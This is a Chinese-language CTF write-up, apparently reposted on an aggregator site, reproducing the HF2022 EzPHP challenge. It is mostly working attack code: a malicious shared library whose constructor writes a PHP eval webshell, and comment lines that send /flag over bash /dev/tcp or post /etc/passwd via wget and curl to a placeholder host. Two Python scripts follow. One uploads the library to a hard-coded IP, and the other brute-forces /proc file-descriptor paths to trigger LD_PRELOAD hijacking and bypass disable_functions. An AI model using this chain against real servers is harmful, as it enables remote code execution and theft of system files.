当前位置:网站首页>HF2022-EzPHP reproduction
HF2022-EzPHP reproduction
2022-07-30 22:55:00 【[email protected]】
1、前置知识
1.1 LOAD_PRELOAD用法
- 程序的链接
- 静态链接(When the program is compiled, the linked library is loaded into it)
- 动态链接 It can be divided into load-time dynamic linking and runtime dynamic linking,The former scenario is linked when the program is loaded into memory,The latter scenario is what libraries are linked when the program needs what libraries during runtime
LOAD_PRELOAD
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为
LD_PRELOAD
>LD_LIBRARY_PATH
>/etc/ld.so.cache
>/lib
>/usr/li
Since the program is dynamically loading the linked library at runtime,If you let the program load a malicious file,Then you can hijack the operation of the program,从而可以绕过disable_function,执行命令
1.2 恶意.so文件的构造
evil.c
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
/* 1、写一个shell文件 system("echo \"<?php eval(\\$_REQUEST[cmd]);?>\" > /var/www/html/shell.php"); 注意$An escape character is required in front,Otherwise it will be recognized as a variable identifier on the command line 2、读取flag system("cat /flag > /var/www/html/flag"); 3、反弹shell或者curl、wget外带 system("bash -c 'cat /flag' > /dev/tcp/vps/port"); wget --post-file=/etc/passwd addr curl -F [email protected]/etc/passwd addr */
生成.so文件命令
gcc -shared -fPIC 1.c -o 1.so
Construct larger binaries,通过在一个soAppend dirty characters to the end of the file
var=`dd if=/dev/zero bs=1c count=500000 | tr '\0' 'c'`
echo $var >> 1.so #需要echo一下,直接$var>>1.so会卡死
nginx -t #可以看niginx的配置文件位置
2、上传so文件,进行load_preload劫持
gen_tmp.py
from threading import Thread
import requests
import socket
import time
port = 28135
host = "1.14.71.254"
def do_so():
data = open("1.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{
host}:{
port}\r\nContent-Length:{
len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py
import requests
from threading import Thread
port = 28135
host = "1.14.71.254"
def ldload(pid, fd):
sopath = f"/proc/{
pid}/fd/{
fd}"
print(sopath)
r = requests.get(f"http://{
host}:{
port}/index.php", params={
"env":f"LD_PRELOAD={
sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/211/202207302246384307.html
边栏推荐
- [MySQL] DQL related operations
- Installation and use of cnpm
- 力扣题(3)—— 无重复字符的最长子串
- 代码越写越乱?那是因为你没用责任链
- Debezium报错系列之二十:task failed to create new topic.Ensure that the task is authorized to create topics
- 2021GDCPC广东省大学生程序设计竞赛 B.Byfibonacci
- Difference between cookie and session
- Alibaba Cloud video on demand + project combat
- ZZULIOJ:1120: 最值交换
- 【导航规划】导航规划背景知识总结
猜你喜欢
网安学习-内网渗透3
ThinkPHP高仿蓝奏云网盘系统源码/对接易支付系统程序
二进制序列
ML之shap:基于FIFA 2018 Statistics(2018年俄罗斯世界杯足球赛)球队比赛之星分类预测数据集利用RF随机森林+计算SHAP值单样本力图/依赖关系贡献图可视化实现可解释性之攻略
Py's pdpbox: a detailed introduction to pdpbox, installation, and case application
[MySQL] Related operations on databases and tables in MySQL
MySql统计函数COUNT详解
电脑快捷方式图标变白解决方案
【导航规划】导航规划背景知识总结
Navicat cannot connect to mysql super detailed processing method
随机推荐
QT开发简介、命名规范、signal&slot信号槽
Abstract classes and interfaces (study notes)
关于XML的学习(一)
DFS题单以及模板汇总
Compressing Deep Graph Neural Networks via Adversarial Knowledge Distillation
MySQL 5.7 detailed download, installation and configuration tutorial
CISP-PTE Zhenti Demonstration
IJCAI2022 Tutorial | Spoken Language Comprehension: Recent Advances and New Fields
语言代码表
正则表达式语法及使用
Successfully solved ImportError: always import the name '_validate_lengths'
win10重建索引
Golang 切片删除指定元素的几种方法
vulnhub靶机AI-Web-1.0渗透笔记
二进制序列
482-静态库、动态库的制作、使用及区别
Chapter 8 Intermediate Shell Tools II
2022中国物流产业大会暨企业家高峰论坛在杭州举办!
The most complete Redis basic + advanced project combat summary notes in history
Rust编译报错:error: linker `cc` not found